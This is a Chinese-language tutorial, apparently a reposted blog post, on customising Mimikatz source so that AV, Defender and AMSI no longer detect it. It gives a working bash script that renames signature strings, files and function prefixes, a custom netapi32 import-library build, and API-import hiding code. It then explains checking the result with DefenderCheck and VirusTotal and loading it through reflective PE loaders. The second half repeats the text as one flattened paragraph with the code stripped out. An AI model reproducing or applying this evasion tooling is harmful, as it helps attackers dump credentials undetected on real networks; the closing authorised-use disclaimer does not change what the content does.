手工绕过AMSI-第三部分|定制 Mimikatz
字数 1192 2025-08-20 18:17:59

手工绕过AMSI:定制Mimikatz二进制文件完全指南

0x00 前言

本教程详细讲解如何通过修改Mimikatz源代码来构建定制化的二进制文件,以绕过AV/EDR的检测。我们将从基本特征修改开始,逐步深入到更高级的混淆技术。

0x01 为什么需要定制Mimikatz

  • 原始Mimikatz二进制文件几乎被所有AV标记
  • 直接从GitHub下载的发布版本会被拦截
  • 定制化可以显著降低检测率
  • 可以只保留需要的功能模块
  • 能够绕过AMSI和其他安全机制

0x02 基本特征修改

必须替换的关键字符串

以下字符串是Mimikatz最明显的特征,必须全部替换:

mimikatz, MIMIKATZ, Mimikatz
DELPY, Benjamin, benjamin@gentilkiwi.com
creativecommons
gentilkiwi
KIWI, Kiwi, kiwi

修改Banner信息

原始Banner包含以下特征信息,需要修改或删除:

"A La Vie, A L'Amour"
http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX
vincent.letoux@gmail.com
http://pingcastle.com
http://mysmartlogon.com

修改方法:直接编辑mimikatz.c文件中的Banner部分。

0x03 功能模块名称修改

Mimikatz主要功能模块包括:

crypto, dpapi, kerberos, lsadump, ngc, sekurlsa
standard, privilege, process, service, ts, event
misc, token, vault, minesweeper, net, busylight
sysenv, sid, iis, rpc, sr98, rdm, acr

修改策略有两种选择:

  1. 随机大小写化:如cryptoCryPto
  2. 完全替换:如cryptocccccc

建议使用第一种方法,便于记忆和使用。

0x04 子功能名称修改

常用模块的子功能也需要修改,例如sekurlsa的子功能:

msv, wdigest, kerberos, tspkg
livessp, cloudap, ssp, logonpasswords
process, minidump, bootkey, pth
krbtgt, dpapisystem, trust, backupkeys
tickets, ekeys, dpapi, credman

0x05 自动化修改脚本

使用以下bash脚本自动化替换关键字符串:

#!/bin/bash

# 克隆并重命名项目
git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows

# 替换基本字符串
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Mimikatz/Windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/DELPY/James/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Benjamin/Troy/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/creativecommons/python/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/gentilkiwi/MSOffice/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/KIWI/ONEDRIVE/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/Kiwi/Onedrive/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/kiwi/onedrive/g'

# 重命名文件和目录
find windows/ -type f -name '*mimikatz*' | while read FILE ; do newfile="$(echo ${FILE} | sed -e 's/mimikatz/windows/g')"; mv "${FILE}" "${newfile}"; done
find windows/ -type f -name '*kiwi*' | while read FILE ; do newfile="$(echo ${FILE} | sed -e 's/kiwi/onedrive/g')"; mv "${FILE}" "${newfile}"; done

# 替换函数前缀
kuhl=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)
find windows/ -type f -print0 | xargs -0 sed -i "s/kuhl/$kuhl/g"
kull=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)
find windows/ -type f -print0 | xargs -0 sed -i "s/kull/$kull/g"

# 重命名函数前缀文件
find windows/ -type f -name "*kuhl*" | while read FILE ; do newfile="$(echo ${FILE} | sed -e "s/kuhl/$kuhl/g")"; mv "${FILE}" "${newfile}"; done
find windows/ -type f -name "*kull*" | while read FILE ; do newfile="$(echo ${FILE} | sed -e "s/kull/$kull/g")"; mv "${FILE}" "${newfile}"; done

# 替换其他特征
under=$(cat /dev/urandom | tr -dc "a-z" | fold -w 4 | head -n 1)
find windows/ -type f -print0 | xargs -0 sed -i "s/_m_/$under/g"
find windows/ -type f -name "*_m_*" | while read FILE ; do newfile="$(echo ${FILE} | sed -e "s/_m_/$under/g")"; mv "${FILE}" "${newfile}"; done

0x06 处理netapi32.dll问题

Defender会标记netapi32.dll中的以下函数:

I_NetServerAuthenticate2
I_NetServerReqChallenge
I_NetServerTrustPasswordsGet

解决方法:

  1. 创建netapi32.def文件:
LIBRARY netapi32.dll
EXPORTS
I_NetServerAuthenticate2 @59
I_NetServerReqChallenge @65
I_NetServerTrustPasswordsGet @62
  1. 使用Visual Studio开发者控制台构建自定义库:
lib /DEF:netapi32.def /OUT:netapi32.min.lib
  1. 将生成的netapi32.min.lib放入lib\x64\目录
  2. 重新编译项目

0x07 替换更多特征字符串

需要替换的其他关键字符串:

功能描述字符串

"Switch to MINIDUMP", "Switch to PROCESS"
"UndefinedLogonType", "NetworkCleartext", "NewCredentials"
"RemoteInteractive", "CachedInteractive", "CachedRemoteInteractive"
"CachedUnlock", "DPAPI_SYSTEM", "replacing NTLM/RC4 key in a session"
"Token Impersonation", "UsernameForPacked", "LSA Isolated Data"

标准模块字符串

"isBase64InterceptInput", "isBase64InterceptOutput"
"Credential Guard may be running", "SecureKernel is running"

DLL文件名

搜索项目中所有.dll引用并替换:

advapi32.dll
crypt32.dll
ncrypt.dll
wldap32.dll
...

0x08 高级混淆技术

1. API导入隐藏

示例:隐藏LSAOpenSecret API

typedef NTSTATUS(__stdcall* _LsaOSecret)(__in LSA_HANDLE PolicyHandle, __in PLSA_UNICODE_STRING SecretName, __in ACCESS_MASK DesiredAccess, __out PLSA_HANDLE SecretHandle);

char hid_LsaLIB_02zmeaakLCHt[] = {'a','d','v','a','p','i','3','2','.','D','L','L',0};
char hid_LsaOSecr_BZxlW5ZBUAAe[] = {'L','s','a','O','p','e','n','S','e','c','e','t',0};

HANDLE hhid_LsaLIB_asdasdasd = LoadLibrary(hid_LsaLIB_02zmeaakLCHt);
_LsaOSecret ffLsaOSecret = (_LsaOSecret)GetProcAddress(hhid_LsaLIB_asdasdasd, hid_LsaOSecr_BZxlW5ZBUAAe);

2. 错误信息修改

删除或修改详细的错误信息输出,减少特征。

3. 其他高级技术

  • Syscall内联
  • Shellcode注入
  • 移除用户级别Hook
  • 生成多态可执行文件

0x09 编译与测试

  1. 使用Visual Studio编译修改后的项目
  2. 使用DefenderCheck检查二进制文件特征:
DefenderCheck.exe mimikatz.exe
  1. 上传到VirusTotal验证检测率

0x0A 结论

通过本教程的方法,可以:

  1. 显著降低Mimikatz的AV检测率
  2. 绕过Windows Defender的实时保护
  3. 创建独特的二进制文件变体
  4. 根据需要定制功能模块

最终生成的定制化Mimikatz二进制文件不会触发AMSI,可以安全地集成到各种工具中,如:

  • Invoke-ReflectivePEINjection
  • subTee的C# PE-Loader

记住,安全研究仅用于合法授权测试,请遵守当地法律法规。

手工绕过AMSI:定制Mimikatz二进制文件完全指南 0x00 前言 本教程详细讲解如何通过修改Mimikatz源代码来构建定制化的二进制文件,以绕过AV/EDR的检测。我们将从基本特征修改开始,逐步深入到更高级的混淆技术。 0x01 为什么需要定制Mimikatz 原始Mimikatz二进制文件几乎被所有AV标记 直接从GitHub下载的发布版本会被拦截 定制化可以显著降低检测率 可以只保留需要的功能模块 能够绕过AMSI和其他安全机制 0x02 基本特征修改 必须替换的关键字符串 以下字符串是Mimikatz最明显的特征,必须全部替换: 修改Banner信息 原始Banner包含以下特征信息,需要修改或删除: 修改方法:直接编辑 mimikatz.c 文件中的Banner部分。 0x03 功能模块名称修改 Mimikatz主要功能模块包括: 修改策略有两种选择: 随机大小写化 :如 crypto → CryPto 完全替换 :如 crypto → cccccc 建议使用第一种方法,便于记忆和使用。 0x04 子功能名称修改 常用模块的子功能也需要修改,例如 sekurlsa 的子功能: 0x05 自动化修改脚本 使用以下bash脚本自动化替换关键字符串: 0x06 处理netapi32.dll问题 Defender会标记netapi32.dll中的以下函数: 解决方法: 创建 netapi32.def 文件: 使用Visual Studio开发者控制台构建自定义库: 将生成的 netapi32.min.lib 放入 lib\x64\ 目录 重新编译项目 0x07 替换更多特征字符串 需要替换的其他关键字符串: 功能描述字符串 标准模块字符串 DLL文件名 搜索项目中所有 .dll 引用并替换: 0x08 高级混淆技术 1. API导入隐藏 示例:隐藏 LSAOpenSecret API 2. 错误信息修改 删除或修改详细的错误信息输出,减少特征。 3. 其他高级技术 Syscall内联 Shellcode注入 移除用户级别Hook 生成多态可执行文件 0x09 编译与测试 使用Visual Studio编译修改后的项目 使用DefenderCheck检查二进制文件特征: 上传到VirusTotal验证检测率 0x0A 结论 通过本教程的方法,可以: 显著降低Mimikatz的AV检测率 绕过Windows Defender的实时保护 创建独特的二进制文件变体 根据需要定制功能模块 最终生成的定制化Mimikatz二进制文件不会触发AMSI,可以安全地集成到各种工具中,如: Invoke-ReflectivePEINjection subTee的C# PE-Loader 记住,安全研究仅用于合法授权测试,请遵守当地法律法规。